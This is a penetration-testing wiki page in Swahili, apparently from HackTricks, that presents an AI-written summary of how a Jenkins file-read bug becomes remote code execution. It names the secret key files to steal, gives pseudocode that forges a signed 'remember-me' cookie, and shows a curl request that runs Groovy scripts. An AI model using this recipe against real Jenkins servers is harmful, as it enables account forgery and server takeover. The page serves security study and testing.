Jenkins Arbitrary File Read to RCE via "Remember Me"
Reading time: 4 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Katika chapisho hili la blog, inawezekana kupata njia nzuri ya kubadilisha udhaifu wa Local File Inclusion katika Jenkins kuwa RCE: https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/
Hii ni muhtasari ulioandikwa na AI wa sehemu ya chapisho ambapo ufundi wa kuki isiyo ya kawaida unatumika vibaya kupata RCE kwa kutumia kusoma faili za ndani hadi nitakapokuwa na muda wa kuunda muhtasari wangu mwenyewe:
Masharti ya Shambulio
- Mahitaji ya Kipengele: "Remember me" lazima iwe imewezeshwa (mipangilio ya default).
- Viwango vya Ufikiaji: Mshambuliaji anahitaji ruhusa za Jumla/Soma.
- Ufikiaji wa Siri: Uwezo wa kusoma maudhui ya binary na maandiko kutoka kwa faili muhimu.
Mchakato wa Kina wa Kutekeleza
Hatua ya 1: Kukusanya Data
Kurejesha Taarifa za Mtumiaji
- Fikia usanidi wa mtumiaji na siri kutoka
$JENKINS_HOME/users/*.xml
kwa kila mtumiaji ili kukusanya: - Jina la Mtumiaji
- Mbegu ya Mtumiaji
- Wakati
- Hash ya Nywila
Uondoaji wa Funguo za Siri
- Ondoa funguo za kificho zinazotumika kusaini kuki:
- Funguo ya Siri:
$JENKINS_HOME/secret.key
- Funguo Kuu:
$JENKINS_HOME/secrets/master.key
- Faili ya Funguo ya MAC:
$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac
Hatua ya 2: Uundaji wa Kuki
Maandalizi ya Token
- Hesabu Wakati wa Kuisha wa Token:
tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Ongeza saa moja kwa wakati wa sasa
- Unganisha Data kwa Token:
token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
Ufunguo wa MAC
- Fungua Faili ya MAC:
key = toAes128Key(masterKey) // Badilisha funguo kuu kuwa muundo wa funguo za AES128
decrypted = AES.decrypt(macFile, key) // Fungua faili ya .mac
if not decrypted.hasSuffix("::::MAGIC::::")
return ERROR;
macKey = decrypted.withoutSuffix("::::MAGIC::::")
Hesabu ya Sahihi
- Hesabu HMAC SHA256:
mac = HmacSHA256(token, macKey) // Hesabu HMAC kwa kutumia token na funguo ya MAC
tokenSignature = bytesToHexString(mac) // Badilisha MAC kuwa mfuatano wa hexadecimal
Ufungaji wa Kuki
- Unda Kuki ya Mwisho:
cookie = base64.encode(
username + ":" + tokenExpiryTime + ":" + tokenSignature
) // Fanya base64 encode data ya kuki
Hatua ya 3: Utekelezaji wa Msimbo
Uthibitishaji wa Kikao
- Pata CSRF na Token za Kikao:
- Fanya ombi kwa
/crumbIssuer/api/json
ili kupataJenkins-Crumb
. - Kamata
JSESSIONID
kutoka kwa jibu, ambayo itatumika pamoja na kuki ya remember-me.
Ombi la Utekelezaji wa Amri
- Tuma Ombi la POST na Skripti ya Groovy:
curl -X POST "$JENKINS_URL/scriptText" \
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
--header "Jenkins-Crumb: $CRUMB" \
--header "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "script=$SCRIPT"
- Skripti ya Groovy inaweza kutumika kutekeleza amri za kiwango cha mfumo au shughuli nyingine ndani ya mazingira ya Jenkins.
Mfano wa amri ya curl iliyotolewa inaonyesha jinsi ya kufanya ombi kwa Jenkins na vichwa na kuki zinazohitajika ili kutekeleza msimbo usio wa kawaida kwa usalama.
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.